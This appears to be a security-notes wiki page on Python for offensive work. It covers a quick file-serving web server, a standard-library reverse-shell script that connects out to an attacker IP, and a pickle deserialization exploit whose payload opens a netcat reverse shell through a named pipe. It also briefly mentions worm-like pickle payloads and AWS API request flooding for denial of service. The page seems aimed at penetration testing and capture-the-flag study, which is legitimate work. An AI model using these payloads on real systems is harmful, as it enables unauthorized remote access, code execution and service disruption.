Python

Python is the de facto scripting language for security work — exploit development, packet manipulation, web tooling, and rapid prototyping all have mature Python ecosystems. This page collects security-relevant Python patterns.

Quick-n-dirty web server

Python 3’s http.server module serves the current directory over HTTP with zero dependencies:

python3 -m http.server $PORT

Default port is 8000 (not 8080 — the raw note is incorrect; see Python docs).

Useful flags:

  • --bind ADDRESS, -b ADDRESS — bind to a specific interface (default: all)
  • --directory DIRECTORY, -d DIRECTORY — serve a different directory (default: cwd)
  • --protocol HTTP/1.1 — enable HTTP/1.1 (keep-alive)
  • --cgi — enable CGI script execution
  • --tls-cert, --tls-key — serve over HTTPS

This is invaluable for transferring files to/from targets, hosting payloads, or catching callbacks from xss-attacks.

Simple reverse shell

A minimal Python reverse shell using only stdlib:

import socket
import subprocess
import os
 
attacker_ip = "10.0.0.1"
attacker_port = 1234
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((attacker_ip, attacker_port))
 
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
 
subprocess.call(["/bin/sh", "-i"])

Catch it with netcat or socat, then stabilize with shell-stabilization.

Exploiting Python pickles

The pickle module serializes and deserializes Python objects. It is not secure against maliciously constructed data. The official documentation warns: “Never unpickle data received from an untrusted or unauthenticated source.”

When pickle.loads() reconstructs an object, it calls the class’s __reduce__() method to determine how to rebuild it. If an attacker controls the pickled bytes, they control __reduce__()’s return value — typically a callable and its arguments.

Basic RCE via pickle

import pickle
import sys
import base64
 
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LOCAL_IP 4444 > /tmp/f'
 
class rce(object):
    def __reduce__(self):
        import os
        return (os.system, (command,))
 
print(base64.b64encode(pickle.dumps(rce())))

Python calls rce.__reduce__() during unpickling, gets (os.system, (command,)), and executes the reverse shell command. This technique is featured in TryHackMe’s OWASP Top 10 room and analyzed by David Hamann.

Self-propagating pickle payloads

More sophisticated payloads use exec or eval inside __reduce__() to redefine classes at unpickle time, enabling worm-like behavior where each deserialization injects the payload into new objects. These are parallel-constructed in python-pickle-worm.

AWS SigV4 API request flooding

AWS APIs use Signature Version 4 (SigV4) for request authentication. A Python script using requests and requests_auth_aws_sigv4 can generate signed requests at high volume for load testing or denial-of-service research. Parallel-constructed in aws-sigv4-api-flooding.

See also

Sources